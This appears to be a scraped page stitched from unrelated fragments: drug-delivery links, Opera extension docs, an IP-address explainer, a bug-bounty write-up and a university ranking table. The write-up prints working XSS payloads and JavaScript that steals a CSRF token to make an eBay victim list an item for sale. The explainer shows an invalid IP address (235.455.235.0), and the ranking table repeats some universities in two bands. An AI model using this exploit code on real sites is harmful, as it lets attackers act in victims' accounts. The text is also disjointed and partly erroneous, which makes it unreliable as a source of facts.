Dec 10, 2011 . DENDRIMER: A NOVEL DRUG DELIVERY SYSTEM. Mishra Ina*. Delhi Institute Of Pharmaceutical Sciences and Research (DIPSAR), Delhi, .
http://jddtonline.info/index.php/jddt/article/download/46/26
Engineered Nanoerythrocytes as a Novel Drug Delivery System
Dec 2, 2002 . This novel drug delivery system is endowed with several exclusive advantages and hence holds potential for further research and clinical .
http://www.landesbioscience.com/curie/chapter/873/


This documentation relates to Opera's now deprecated .oex Extension API framework for Opera versions <= 12.15 and also provided by our OEX2NEX shim library.
For the latest Opera Extensions API documentation for Opera versions > 12.15 please consult the latest Opera Extensions API documentation online.
The <content>
element is used to define a custom start file for the extension. The following attributes are associated with it.
src
: Points to a file within the extension package which is supposed to be the start fileencoding
: Character encoding of the file identified by the src
attribute<widget xmlns="http://www.w3.org/ns/widgets">
<content src="index.xml"
encoding="utf-8"
type="application/xhtml+xml"/>
</widget>


Every device and website that is connect and accessible on the internet (via Internet Protocol has an IP Address) has an address called an Internet Protocol Address or IP Address. Most users are unaware of this address because they use Domain Names, such as Google.com, which service as proxies for IP Addresses.
The IP Address is organized in a hierarchy (early version hiearchy represented as region/country,sub network, and specific device) and is made up of 32 bit or 128 bit numbers.IP addresses are management by Internet Assigned Numbers Authority (IANA) which is a group under ICCAN.
The IP in IP Address stands for Internet Protocol, a design philosophy and architecture invented by Vint Cerf adn Bob Kahn.
Currently there are over 4 billion IP Address.
The most current version of IP Addresses is ipv6. It has 128 bits per address meaning it can produce 340 undecillion unique addresses.
We use it because it helps user computers to access other computers and information on other computers helping computers identify what we are trying to access, where it is, and how to access it. IP Address are very much like phone numbers.
<IP_ADDRESS>
<IP_ADDRESS>
235.455.235.0


Covid-19 Data Search Deployed App Github Repository Neighborhood Party Hub Deployed App Github Repository Team Profile Generator Github Repository


Making you sell what I want: Story of an Ebay XSS
TL;DR
A XSS vulnerability in Ebay can be exploited by an attacker to bypass CSRF protection and make a victim sell unwanted items. This is a pretty basic technique but it could be interesting for people which have just entered in the Bug Bounty world.
XSS on Ebay
Let’s talk about my first bug hunting experience. First of all why have I chosen to test Ebay? Simple:
- The Ebay website was first developed lots of time ago when the word
"security"
was not so popular and there weren’t beatiful frameworks which prevents developers to make shit happen; - Ebay is a pretty high level profile website and has a Bug Bounty program which awards with a mention in their Security Researchers Acknowledgement page;
- Ebay doens’t offer a cash award (yes this doesn’t seem to be a pro but this means that not so many people have tested it unlike Google and Facebook);
When trying to find a security issue the best place to search is where other people hasn’t already looked at, so let’s forgot for a moment the main page and let’s search in some other subdomains. Two great tools to discover subdomains are dnsenum and fierce. Looking around I found csr.ebay.it which seems to handle the process of selling items as a merchant. Between the different requests sent to this domain a POST request to http://csr.ebay.it/cse/results.jsf
caught my attention because it has a keyword
parameter which is reflected in the response.
A good payload which I use to test for XSS is xxx"><svg/onload=alert(1)>
because it provides two functionalities:
- The string
xxx
is very unlikely to be present in the page so by inspecting the source code of the HTML page and searching forxxx
I can discover the location where my input has been reflected; - The rest of the payload
"><svg/onload=alert(1)>
may trigger a XSS vulnerability popping up an alert box;
So we intercept the request to http://csr.ebay.it/cse/results.jsf using Burp edit the keyword
field with "><svg/onload=alert(1)>
, submit the request and wait for:
Yay!!! This is our lucky day but wait a minute where is the session cookie?
Oh no. The session cookie is set HttpOnly
this means that it is not accessible through javascript, bye bye session hijacking but let’s see what we could do with it.
Let’s first create our PoC page; this is very straightforward, we just need to create an html form containing the fields and the value which we want to submit and submit it as soon as the user visit the page.
<!DOCTYPE html>
<html>
<head>
<script src="https://code.jquery.com/jquery-2.1.3.min.js"> </script>
</head>
<body>
<form id="myform" action="http://csr.ebay.it/cse/results.jsf?sbh=true" method="POST">
<input name="keywords" id="keywords" value=""><svg/onload=alert(document.domain+document.cookie)>" >
<input name="btnStartGandalf" id="btnStartGandalf" value="Inizia" >
<input name="startPage" id="startPage" value="true" >
<input name="pageName" id="pageName" value="start" >
</form>
</body>
</html>
<script>
$.ready(
$('#myform').submit()
);
</script>
From XSS to CSRF
I won’t bother you on what a CSRF attack is, there are very good explanation out there, the only thing to know is that this attack can be exploited to make the user do unwanted actions and can be prevented by attaching a hidden field csrf_token
to the form which will be submitted.
Let’s recapt what we know so far:
- we can run javascript code through the XSS in crs.ebay.it;
- crs.ebay.it domain enables the user to sell items;
- the selling functionality is protected against CSRF through a hidden token in the form;
Attack plan: exploit the XSS to exfiltrate the CSRF token and use it to make a request in the behalf of the user.
We modify the payload before and instead of displaying an alert message ("><svg/onload=alert(1)>
) we include a script which:
- Send a GET request to the page containing the token;
- Parse the page to get the token value (in our case the javax.faces.ViewState field);
- Send a post request to
http://csr.ebay.it/cse/list.jsf
to publish the product with the fields which we have set in the form validated with the csrf token which we have exfiltrated before;
//Generate the form which will be send to sell the item
var f = document.createElement("form");
f.setAttribute('id',"myform");
f.setAttribute('method',"post");
f.setAttribute('action',"http://csr.ebay.it/cse/list.jsf");
var i1 = document.createElement("input");
i1.setAttribute('type',"text");
i1.setAttribute('name',"title");
i1.setAttribute('value',"Iphone6");
...Add here all the other fields for the item to sell
var i2= document.createElement("input");
i2.setAttribute('type',"text");
i2.setAttribute('name',"javax.faces.ViewState");
i2.setAttribute('id',"javax.faces.ViewState");
i2.setAttribute('value',"");
var s = document.createElement("input");
s.setAttribute('type',"submit");
s.setAttribute('value',"Submit");
document.body.appendChild(f);
f.appendChild(i1);
f.appendChild(i2);
f.appendChild(s);
$.ready(
$.ajax({
url:"http://csr.ebay.it/cse/list.jsf?usecase=create&mode=AddItem&categoryId=30095",
type: 'get',
//1 sending a get request to the page containing the token
success: function(data,status){
var html = $.parseHTML(data);
//2 parsing the html to find the token value
var token = $(html).find( 'input[name="javax.faces.ViewState"]' ).val();
console.log(token)
//3 setting this value to the csrf_token field in the constructed form
$("input[id='javax.faces.ViewState']").val(token)
//4 submitting the form
$('#myform').submit()
}
})
);
Hooray!! We have made the victim, which click on our link, sell an Iphone 6. Kudos to the Ebay security team which has been very responsive and patched the vulnerability in a week. I think that, at the moment, the security level of Ebay is not enough strong considering the sensitive informations and the profitable actions which the platform provide, so I keep wondering why Ebay hasn’t already started a payment based Bug Bounty program on platforms like Hackerone or Bugcrowd.
- 7 April 2015 Vulnerability reported to Ebay Security Team
- 15 April 2015 Vulnerability patched
- 25 May 2015 Added to the Responsible Disclosure Acknowledgements page
- 20 June 2015 Public disclosure


| example | description |
| release | This example presents the easiest way to use the Lordicon custom element with released version. Keep in mind that this is not the most efficient method as the entire library (including bundled lottie-web) is loaded by default. |
| triggers | In this example, we present all available built-in animation triggers. |
| trigger target | Use the target attribute to indicate which parent element should activate the trigger. Helpful functionality when building all kinds of links, buttons, or bounding boxes where we don't want the user to have to mouse hover exactly at the icon to activate it. |
| customization | This example presents all customizable attributes supported by element. |
| current color | This case study presents, a class built into element: current-color. With this class, icon will inherit color from a parent. |
| css variables | This example utilizes CSS variables to customize colors on supported icons (at the moment only System icons). Notice: CSS variables take precedence over colors assigned by other methods! |
| background | This example presents the use of the element as a background. |
| manual control | Example of manual interaction with icon and player. |
| icon loader | Example of creating icon loader callback which can be used to provide icon data from alternate sources. |
| loading lazy | Load icons only when needed. |
| loading lazy effect | Load icons only when needed. Fade in icons after the load completes, to create a simultaneous smooth appearance. |
| loading placeholder | Example of showing super small SVG until custom element is ready. |
| loading placeholder interaction | Example of showing super small SVG until first user interaction with element. |
| state | This example presents usage for icons state animation. It is easier than ever to switch between each motion type to use them as stand-alone animations or combine and create an interactive experience. |
| custom trigger | If none of the provided triggers meet what we need to implement, we allow building custom animation triggers. Provided example shows how to create trigger which will reverse animation on the second click. |
| custom trigger scroll | This custom trigger plays an animation when a user scrolls the website. |
| custom trigger in screen | This example presents how to build an animation trigger, which plays animation once the icon appears in the browser viewport. |
| custom trigger states | Complex usage example of states with the custom trigger. Eg. see how the trash icon appears, fills, and erases as the user interacts. |
| lottie light | Example of use our element with lottie-web-light which is a way smaller in size but doesn't support expressions (and as a consequence dynamic customization). You can use the light version in pair with our raw icon data. |


| 1 | Harvard University | Americas | USA |
| 2 | Stanford University | Americas | USA |
| 3 | University of California, Berkeley | Americas | USA |
| 4 | University of Cambridge | Europe | UK |
| 5 | Massachusetts Institute of Technology | Americas | USA |
| 6 | Princeton University | Americas | USA |
| 7 | University of Oxford | Europe | UK |
| 8 | California Institute of Technology | Americas | USA |
| 9 | Columbia University | Americas | USA |
| 10 | University of Chicago | Americas | USA |
| 11 | Yale University | Americas | USA |
| 12 | University of California, Los Angeles | Americas | USA |
| 13 | Cornell University | Americas | USA |
| 14 | University of California, San Diego | Americas | USA |
| 15 | University of Washington | Americas | USA |
| 16 | Johns Hopkins University | Americas | USA |
| 17 | University College London | Europe | UK |
| 18 | University of Pennsylvania | Americas | USA |
| 19 | ETH Zurich – Swiss Federal Institute of Technology Zurich | Europe | Switzerland |
| 20 | University of Tokyo | Asia/Pacific | Japan |
| 21 | University of California, San Francisco | Americas | USA |
| 22 | Imperial College London | Europe | UK |
| 23 | University of Michigan | Americas | USA |
| 23 | Washington University in St Louis | Americas | USA |
| 25 | Duke University | Americas | USA |
| 26 | Northwestern University | Americas | USA |
| 27 | University of Toronto | Americas | Canada |
| 28 | University of Wisconsin-Madison | Americas | USA |
| 29 | New York University | Americas | USA |
| 30 | University of Copenhagen | Europe | Denmark |
| 30 | University of Illinois at Urbana-Champaign | Americas | USA |
| 32 | Kyoto University | Asia/Pacific | Japan |
| 33 | University of Minnesota | Americas | USA |
| 34 | University of British Columbia | Americas | Canada |
| 35 | University of Manchester | Europe | UK |
| 35 | University of North Carolina at Chapel Hill | Americas | USA |
| 37 | The Rockefeller University | Americas | USA |
| 38 | University of Colorado Boulder | Americas | USA |
| 39 | Pierre and Marie Curie University | Europe | France |
| 40 | University of Melbourne | Asia/Pacific | Australia |
| 41 | University of Edinburgh | Europe | UK |
| 42 | University of California, Santa Barbara | Americas | USA |
| 43 | The University of Texas Southwestern Medical Center at Dallas | Americas | USA |
| 44 | Karolinska Institute | Europe | Sweden |
| 44 | University of Texas at Austin | Americas | USA |
| 46 | Paris-Sud University | Europe | France |
| 47 | Heidelberg University | Europe | Germany |
| 47 | Technical University of Munich | Europe | Germany |
| 49 | University of Southern California | Americas | USA |
| 50 | King's College London | Europe | UK |
| 51 | LMU Munich | Europe | Germany |
| 52 | University of Maryland, College Park | Americas | USA |
| 53 | University of Geneva | Europe | Switzerland |
| 54 | University of Zurich | Europe | Switzerland |
| 55 | The University of Queensland | Asia/Pacific | Australia |
| 56 | University of Helsinki | Europe | Finland |
| 57 | University of Bristol | Europe | UK |
| 58 | Tsinghua University | Asia/Pacific | China |
| 58 | University of California, Irvine | Americas | USA |
| 60 | Uppsala University | Europe | Sweden |
| 60 | Vanderbilt University | Americas | USA |
| 62 | Ghent University | Europe | Belgium |
| 63 | McGill University | Americas | Canada |
| 63 | Purdue University | Americas | USA |
| 65 | Aarhus University | Europe | Denmark |
| 65 | Utrecht University | Europe | Netherlands |
| 67 | University of Oslo | Europe | Norway |
| 68 | Carnegie Mellon University | Americas | USA |
| 69 | Technion Israel Institute of Technology | Asia/Pacific | Israel |
| 70 | University of Pittsburgh | Americas | USA |
| 71 | Peking University | Asia/Pacific | China |
| 72 | Nagoya University | Asia/Pacific | Japan |
| 72 | Rice University | Americas | USA |
| 72 | University of Groningen | Europe | Netherlands |
| 75 | Boston University | Americas | USA |
| 75 | University of California, Davis | Americas | USA |
| 77 | Pennsylvania State University | Americas | USA |
| 77 | Australian National University | Asia/Pacific | Australia |
| 79 | Monash University | Asia/Pacific | Australia |
| 79 | Ohio State University | Americas | USA |
| 81 | Stockholm University | Europe | Sweden |
| 82 | University of Sydney | Asia/Pacific | Australia |
| 83 | McMaster University | Americas | Canada |
| 83 | National University of Singapore | Asia/Pacific | Singapore |
| 83 | University of California, Santa Cruz | Americas | USA |
| 86 | Mayo Medical School | Americas | USA |
| 87 | École Normale Supérieure | Europe | France |
| 87 | Lomonosov Moscow State University | Europe | Russia |
| 87 | Hebrew University of Jerusalem | Asia/Pacific | Israel |
| 90 | Brown University | Americas | USA |
| 90 | University of Florida | Americas | USA |
| 92 | École Polytechnique Fédérale de Lausanne | Europe | Switzerland |
| 93 | Georgia Institute of Technology | Americas | USA |
| 93 | KU Leuven | Europe | Belgium |
| 93 | Leiden University | Europe | Netherlands |
| 96 | Osaka University | Asia/Pacific | Japan |
| 96 | Rutgers, The State University of New Jersey | Americas | USA |
| 96 | The University of Texas M. D. Anderson Cancer Center | Americas | USA |
| 96 | University of Western Australia | Asia/Pacific | Australia |
| 100 | University of Utah | Americas | USA |
| 101-150 | Aix-Marseille University | Europe | France |
| 101-150 | Arizona State University | Americas | USA |
| 101-150 | Baylor College of Medicine | Americas | USA |
| 101-150 | Cardiff University | Europe | UK |
| 101-150 | Case Western Reserve University | Americas | USA |
| 101-150 | Emory University | Americas | USA |
| 101-150 | Erasmus University Rotterdam | Europe | Netherlands |
| 101-150 | Fudan University | Asia/Pacific | China |
| 101-150 | Icahn School of Medicine at Mount Sinai | Americas | USA |
| 101-150 | Indiana University | Americas | USA |
| 101-150 | King Abdulaziz University | Asia/Pacific | Saudi Arabia |
| 101-150 | King Saud University | Asia/Pacific | Saudi Arabia |
| 101-150 | Lund University | Europe | Sweden |
| 101-150 | Michigan State University | Americas | USA |
| 101-150 | Nanyang Technological University | Asia/Pacific | Singapore |
| 101-150 | Norwegian University of Science and Technology | Europe | Norway |
| 101-150 | Radboud University Nijmegen | Europe | Netherlands |
| 101-150 | Seoul National University | Asia/Pacific | South Korea |
| 101-150 | Shanghai Jiao Tong University | Asia/Pacific | China |
| 101-150 | Texas A&M University | Americas | USA |
| 101-150 | University of Adelaide | Asia/Pacific | Australia |
| 101-150 | University of Hong Kong | Asia/Pacific | China-hk |
| 101-150 | University of New South Wales | Asia/Pacific | Australia |
| 101-150 | University of Sheffield | Europe | UK |
| 101-150 | Tohoku University | Asia/Pacific | Japan |
| 101-150 | Tufts University | Americas | USA |
| 101-150 | University of Alberta | Americas | Canada |
| 101-150 | University of Amsterdam | Europe | Netherlands |
| 101-150 | University of Arizona | Americas | USA |
| 101-150 | University of Basel | Europe | Switzerland |
| 101-150 | University of Bern | Europe | Switzerland |
| 101-150 | University of Birmingham | Europe | UK |
| 101-150 | University of Bonn | Europe | Germany |
| 101-150 | Goethe University Frankfurt | Europe | Germany |
| 101-150 | University of Freiburg | Europe | Germany |
| 101-150 | University of Göttingen | Europe | Germany |
| 101-150 | University of Leeds | Europe | UK |
| 101-150 | University of Liverpool | Europe | UK |
| 101-150 | University of Münster | Europe | Germany |
| 101-150 | University of Nottingham | Europe | UK |
| 101-150 | University of Rochester | Americas | USA |
| 101-150 | University of São Paulo | Americas | Brazil |
| 101-150 | University of Science and Technology of China | Asia/Pacific | China |
| 101-150 | University of Southampton | Europe | UK |
| 101-150 | University of Strasbourg | Europe | France |
| 101-150 | Wageningen University and Research Center | Europe | Netherlands |
| 101-150 | Paris Diderot University – Paris 7 | Europe | France |
| 101-150 | VU University Amsterdam | Europe | Netherlands |
| 101-150 | Weizmann Institute of Science | Asia/Pacific | Israel |
| 101-150 | Zhejiang University | Asia/Pacific | China |
| 151-200 | Université Catholique de Louvain | Europe | Belgium |
| 151-200 | China Medical University, Taiwan | Asia/Pacific | China-tw |
| 151-200 | Delft University of Technology | Europe | Netherlands |
| 151-200 | Harbin Institute of Technology | Asia/Pacific | China |
| 151-200 | Hokkaido University | Asia/Pacific | Japan |
| 151-200 | Joseph Fourier University | Europe | France |
| 151-200 | Korea University | Asia/Pacific | South Korea |
| 151-200 | London School of Economics and Political Science | Europe | UK |
| 151-200 | London School of Hygiene and Tropical Medicine | Europe | UK |
| 151-200 | National Autonomous University of Mexico | Americas | Mexico |
| 151-200 | National Taiwan University | Asia/Pacific | China-tw |
| 151-200 | Oregon Health and Science University | Americas | USA |
| 151-200 | Oregon State University | Americas | USA |
| 151-200 | Queen Mary University of London | Europe | UK |
| 151-200 | Sapienza University of Rome | Europe | Italy |
| 151-200 | Sun Yat-sen University | Asia/Pacific | China |
| 151-200 | Sungkyunkwan University | Asia/Pacific | South Korea |
| 151-200 | Technical University of Denmark | Europe | Denmark |
| 151-200 | Tel Aviv University | Asia/Pacific | Israel |
| 151-200 | University of Auckland | Asia/Pacific | New Zealand |
| 151-200 | University of Glasgow | Europe | UK |
| 151-200 | Trinity College Dublin | Europe | Ireland |
| 151-200 | TU Dresden | Europe | Germany |
| 151-200 | Université libre de Bruxelles | Europe | Belgium |
| 151-200 | University of Barcelona | Europe | Spain |
| 151-200 | University of Bordeaux | Europe | France |
| 151-200 | University of Buenos Aires | Americas | Argentina |
| 151-200 | University of California, Riverside | Americas | USA |
| 151-200 | University of Delaware | Americas | USA |
| 151-200 | University of Erlangen-Nuremberg | Europe | Germany |
| 151-200 | University of Exeter | Europe | UK |
| 151-200 | University of Gothenburg | Europe | Sweden |
| 151-200 | University of Hawai’i at Mānoa | Americas | USA |
| 151-200 | University of Innsbruck | Europe | Austria |
| 151-200 | University of Iowa | Americas | USA |
| 151-200 | University of Kiel | Europe | Germany |
| 151-200 | University of Leipzig | Europe | Germany |
| 151-200 | University of Lisbon | Europe | Portugal |
| 151-200 | University of Massachusetts Amherst | Americas | USA |
| 151-200 | University of Massachusetts Medical School - Worcester | Americas | USA |
| 151-200 | University of Miami | Americas | USA |
| 151-200 | University of Montreal | Americas | Canada |
| 151-200 | University of Padua | Europe | Italy |
| 151-200 | Paris Descartes University | Europe | France |
| 151-200 | University of Tübingen | Europe | Germany |
| 151-200 | University of Vienna | Europe | Austria |
| 151-200 | University of Virginia | Americas | USA |
| 151-200 | University of Warwick | Europe | UK |
| 151-200 | University of Würzburg | Europe | Germany |
| 151-200 | Xi’an Jiaotong University | Asia/Pacific | China |
| 201-300 | Aalborg University | Europe | Denmark |
| 201-300 | Autonomous University of Madrid | Europe | Spain |
| 201-300 | Beijing Normal University | Asia/Pacific | China |
| 201-300 | Brandeis University | Americas | USA |
| 201-300 | Chalmers University of Technology | Europe | Sweden |
| 201-300 | Charles University in Prague | Europe | Czech |
| 201-300 | City University of Hong Kong | Asia/Pacific | China-hk |
| 201-300 | Claude Bernard University Lyon 1 | Europe | France |
| 201-300 | Colorado State University | Americas | USA |
| 201-300 | Curtin University | Asia/Pacific | Australia |
| 201-300 | Dartmouth College | Americas | USA |
| 201-300 | Deakin University | Asia/Pacific | Australia |
| 201-300 | Drexel University | Americas | USA |
| 201-300 | Durham University | Europe | UK |
| 201-300 | Eindhoven University of Technology | Europe | Netherlands |
| 201-300 | Florida State University | Americas | USA |
| 201-300 | George Mason University | Americas | USA |
| 201-300 | Huazhong University of Science and Technology | Asia/Pacific | China |
| 201-300 | Indiana University-Purdue University | Americas | USA |
| 201-300 | Iowa State University | Americas | USA |
| 201-300 | James Cook University | Asia/Pacific | Australia |
| 201-300 | Jilin University | Asia/Pacific | China |
| 201-300 | Karlsruhe Institute of Technology | Europe | Germany |
| 201-300 | King Abdullah University of Science and Technology | Asia/Pacific | Saudi Arabia |
| 201-300 | Korea Advanced Institute of Science and Technology (KAIST) | Asia/Pacific | South Korea |
| 201-300 | KTH Royal Institute of Technology | Europe | Sweden |
| 201-300 | Kyushu University | Asia/Pacific | Japan |
| 201-300 | Laval University | Americas | Canada |
| 201-300 | Maastricht University | Europe | Netherlands |
| 201-300 | Macquarie University | Asia/Pacific | Australia |
| 201-300 | Medical University of South Carolina | Americas | USA |
| 201-300 | Medical University of Vienna | Europe | Austria |
| 201-300 | Nanjing University | Asia/Pacific | China |
| 201-300 | North Carolina State University | Americas | USA |
| 201-300 | Northeastern University | Americas | USA |
| 201-300 | Paul Sabatier University (Toulouse 3) | Europe | France |
| 201-300 | Pohang University of Science and Technology | Asia/Pacific | South Korea |
| 201-300 | Polytechnic University of Milan | Europe | Italy |
| 201-300 | Queen's University | Americas | Canada |
| 201-300 | Queensland University of Technology | Asia/Pacific | Australia |
| 201-300 | RWTH Aachen University | Europe | Germany |
| 201-300 | Sichuan University | Asia/Pacific | China |
| 201-300 | Soochow University | Asia/Pacific | China |
| 201-300 | South China University of Technology | Asia/Pacific | China |
| 201-300 | Southeast University | Asia/Pacific | China |
| 201-300 | Stony Brook University | Americas | USA |
| 201-300 | Swedish University of Agricultural Sciences | Europe | Sweden |
| 201-300 | Chinese University of Hong Kong | Asia/Pacific | China-hk |
| 201-300 | Hong Kong University of Science and Technology | Asia/Pacific | China-hk |
| 201-300 | University of Calgary | Americas | Canada |
| 201-300 | University of Dundee | Europe | UK |
| 201-300 | University of Georgia | Americas | USA |
| 201-300 | University of New Mexico | Americas | USA |
| 201-300 | The University of Texas Health Science Center at Houston | Americas | USA |
| 201-300 | Tokyo Institute of Technology | Asia/Pacific | Japan |
| 201-300 | Toulouse School of Economics | Europe | France |
| 201-300 | University of Aberdeen | Europe | UK |
| 201-300 | University of Alabama at Birmingham | Americas | USA |
| 201-300 | University of Antwerp | Europe | Belgium |
| 201-300 | University of Belgrade | Europe | Serbia |
| 201-300 | University of Bergen | Europe | Norway |
| 201-300 | Ruhr University Bochum | Europe | Germany |
| 201-300 | University of Bologna | Europe | Italy |
| 201-300 | University of Cape Town | Africas | South Africa |
| 201-300 | University of Cincinnati | Americas | USA |
| 201-300 | University of East Anglia | Europe | UK |
| 201-300 | University of Florence | Europe | Italy |
| 201-300 | University of Granada | Europe | Spain |
| 201-300 | University of Hamburg | Europe | Germany |
| 201-300 | University of Houston | Americas | USA |
| 201-300 | University of Illinois at Chicago | Americas | USA |
| 201-300 | University of Kansas | Americas | USA |
| 201-300 | University of Koeln | Europe | Germany |
| 201-300 | University of Lausanne | Europe | Switzerland |
| 201-300 | University of Leicester | Europe | UK |
| 201-300 | University of Lorraine | Europe | France |
| 201-300 | Johannes Gutenberg University of Mainz | Europe | Germany |
| 201-300 | University of Maryland, Baltimore County | Americas | USA |
| 201-300 | University of Milan | Europe | Italy |
| 201-300 | University of Missouri | Americas | USA |
| 201-300 | University of Nebraska-Lincoln | Americas | USA |
| 201-300 | University of Notre Dame | Americas | USA |
| 201-300 | University of Ottawa | Americas | Canada |
| 201-300 | University of Pisa | Europe | Italy |
| 201-300 | University of South Florida | Americas | USA |
| 201-300 | University of Sussex | Europe | UK |
| 201-300 | University of Tasmania | Asia/Pacific | Australia |
| 201-300 | University of the Witwatersrand | Africas | South Africa |
| 201-300 | University of Tsukuba | Asia/Pacific | Japan |
| 201-300 | University of Turin | Europe | Italy |
| 201-300 | Ulm University | Europe | Germany |
| 201-300 | University of Victoria | Americas | Canada |
| 201-300 | University of Waterloo | Americas | Canada |
| 201-300 | University of York | Europe | UK |
| 201-300 | Virginia Commonwealth University | Americas | USA |
| 201-300 | Vrije Universiteit Brussel | Europe | Belgium |
| 201-300 | Western University | Americas | Canada |
| 201-300 | Xiamen University | Asia/Pacific | China |
| 201-300 | Yeshiva University | Americas | USA |
| 201-300 | Yonsei University | Asia/Pacific | South Korea |
| 301-400 | Autonomous University of Barcelona | Europe | Spain |
| 301-400 | Beihang University | Asia/Pacific | China |
| 301-400 | Boston College | Americas | USA |
| 301-400 | Catholic University of Korea | Asia/Pacific | South Korea |
| 301-400 | Central South University | Asia/Pacific | China |
| 301-400 | Chang Gung University | Asia/Pacific | China-tw |
| 301-400 | Chiba University | Asia/Pacific | Japan |
| 301-400 | China Agricultural University | Asia/Pacific | China |
| 301-400 | China University of Geosciences (Wuhan) | Asia/Pacific | China |
| 301-400 | Complutense University of Madrid | Europe | Spain |
| 301-400 | Dalhousie University | Americas | Canada |
| 301-400 | Dalian University of Technology | Asia/Pacific | China |
| 301-400 | East China University of Science and Technology | Asia/Pacific | China |
| 301-400 | École Normale Supérieure de Lyon | Europe | France |
| 301-400 | École Polytechnique | Europe | France |
| 301-400 | ESPCI ParisTech | Europe | France |
| 301-400 | Federal University of Minas Gerais | Americas | Brazil |
| 301-400 | Federal University of Rio de Janeiro | Americas | Brazil |
| 301-400 | Flinders University | Asia/Pacific | Australia |
| 301-400 | Georgetown University | Americas | USA |
| 301-400 | Griffith University | Asia/Pacific | Australia |
| 301-400 | Hannover Medical School | Europe | Germany |
| 301-400 | Hanyang University | Asia/Pacific | South Korea |
| 301-400 | Indian Institute of Science | Asia/Pacific | India |
| 301-400 | Keio University | Asia/Pacific | Japan |
| 301-400 | King Fahd University of Petroleum and Minerals | Asia/Pacific | Saudi Arabia |
| 301-400 | Kyung Hee University | Asia/Pacific | South Korea |
| 301-400 | La Trobe University | Asia/Pacific | Australia |
| 301-400 | Lanzhou University | Asia/Pacific | China |
| 301-400 | Linköping University | Europe | Sweden |
| 301-400 | Louisiana State University | Americas | USA |
| 301-400 | Nankai University | Asia/Pacific | China |
| 301-400 | National and Kapodistrian University of Athens | Europe | Greece |
| 301-400 | National Tsing Hua University | Asia/Pacific | China-tw |
| 301-400 | National University of Ireland, Galway | Europe | Ireland |
| 301-400 | Newcastle University | Europe | UK |
| 301-400 | Okayama University | Asia/Pacific | Japan |
| 301-400 | Paris Dauphine University | Europe | France |
| 301-400 | Polytechnic University of Catalonia | Europe | Spain |
| 301-400 | Polytechnic University of Valencia | Europe | Spain |
| 301-400 | Pompeu Fabra University | Europe | Spain |
| 301-400 | Queen's University Belfast | Europe | UK |
| 301-400 | Rush University | Americas | USA |
| 301-400 | Saint Petersburg State University | Europe | Russia |
| 301-400 | Shandong University | Asia/Pacific | China |
| 301-400 | Technical University of Berlin | Europe | Germany |
| 301-400 | Temple University | Americas | USA |
| 301-400 | George Washington University | Americas | USA |
| 301-400 | Hong Kong Polytechnic University | Asia/Pacific | China-hk |
| 301-400 | University of Newcastle | Asia/Pacific | Australia |
| 301-400 | University of Reading | Europe | UK |
| 301-400 | University of Texas at Dallas | Americas | USA |
| 301-400 | The University of Texas Health Science Center at San Antonio | Americas | USA |
| 301-400 | Thomas Jefferson University | Americas | USA |
| 301-400 | Tianjin University | Asia/Pacific | China |
| 301-400 | Tongji University | Asia/Pacific | China |
| 301-400 | Umeå University | Europe | Sweden |
| 301-400 | São Paulo State University (UNESP) | Americas | Brazil |
| 301-400 | University at Buffalo | Americas | USA |
| 301-400 | University College Dublin | Europe | Ireland |
| 301-400 | University of Bath | Europe | UK |
| 301-400 | University of Canterbury | Asia/Pacific | New Zealand |
| 301-400 | University of Chile | Americas | Chile |
| 301-400 | University of Colorado at Denver | Americas | USA |
| 301-400 | University of Connecticut | Americas | USA |
| 301-400 | University of Eastern Finland | Europe | Finland |
| 301-400 | University of Electronic Science and Technology of China | Asia/Pacific | China |
| 301-400 | University of Fribourg | Europe | Switzerland |
| 301-400 | Justus Liebig University Giessen | Europe | Germany |
| 301-400 | University of Guelph | Americas | Canada |
| 301-400 | University of Halle-Wittenberg | Europe | Germany |
| 301-400 | University of Jena | Europe | Germany |
| 301-400 | University of Kentucky | Americas | USA |
| 301-400 | University of Liège | Europe | Belgium |
| 301-400 | University of Marburg | Europe | Germany |
| 301-400 | University of Maryland, Baltimore County | Americas | USA |
| 301-400 | University of Milan | Europe | Italy |
| 301-400 | Montpellier University | Europe | France |
| 301-400 | University of Naples Federico II | Europe | Italy |
| 301-400 | University of North Texas | Americas | USA |
| 301-400 | University of Oregon | Americas | USA |
| 301-400 | University of Otago | Asia/Pacific | New Zealand |
| 301-400 | University of Pavia | Europe | Italy |
| 301-400 | University of Porto | Europe | Portugal |
| 301-400 | Université du Québec à Montréal | Americas | Canada |
| 301-400 | University of Santiago de Compostela | Europe | Spain |
| 301-400 | University of South Carolina | Americas | USA |
| 301-400 | University of Southern Denmark | Europe | Denmark |
| 301-400 | University of St Andrews | Europe | UK |
| 301-400 | University of Technology Sydney | Asia/Pacific | Australia |
| 301-400 | University of Tehran | Asia/Pacific | Iran |
| 301-400 | University of Tennessee, Knoxville | Americas | USA |
| 301-400 | University of Twente | Europe | Netherlands |
| 301-400 | University of Vermont | Americas | USA |
| 301-400 | Western Sydney University | Asia/Pacific | Australia |
| 301-400 | University of Wollongong | Asia/Pacific | Australia |
| 301-400 | Victoria University of Wellington | Asia/Pacific | New Zealand |
| 301-400 | Virginia Polytechnic Institute and State University | Americas | USA |
| 301-400 | Wayne State University | Americas | USA |
| 301-400 | Wuhan University | Asia/Pacific | China |
| 401-500 | Aalto University | Europe | Finland |
| 401-500 | Amirkabir University of Technology | Asia/Pacific | Iran |
| 401-500 | Aristotle University of Thessaloniki | Europe | Greece |
| 401-500 | Bangor University | Europe | UK |
| 401-500 | Beijing University of Chemical Technology | Asia/Pacific | China |
| 401-500 | Ben-Gurion University of the Negev | Asia/Pacific | Israel |
| 401-500 | Bielefeld University | Europe | Germany |
| 401-500 | Brigham Young University | Americas | USA |
| 401-500 | Brunel University London | Europe | UK |
| 401-500 | Cairo University | Africas | Egypt |
| 401-500 | Capital Medical University | Asia/Pacific | China |
| 401-500 | City University of New York City College | Americas | USA |
| 401-500 | Donghua University | Asia/Pacific | China |
| 401-500 | Ewha Womans University | Asia/Pacific | South Korea |
| 401-500 | Federal University of Rio Grande do Sul | Americas | Brazil |
| 401-500 | Florida International University | Americas | USA |
| 401-500 | Hong Kong Baptist University | Asia/Pacific | China-hk |
| 401-500 | Hunan University | Asia/Pacific | China |
| 401-500 | Istanbul University | Asia/Pacific | Turkey |
| 401-500 | Jagiellonian University | Europe | Poland |
| 401-500 | Kaohsiung Medical University | Asia/Pacific | China-tw |
| 401-500 | Kobe University | Asia/Pacific | Japan |
| 401-500 | Medical University of Graz | Europe | Austria |
| 401-500 | MINES ParisTech | Europe | France |
| 401-500 | Nanjing Medical University | Asia/Pacific | China |
| 401-500 | Nanjing Tech University | Asia/Pacific | China |
| 401-500 | National Cheng Kung University (NCKU) | Asia/Pacific | China-tw |
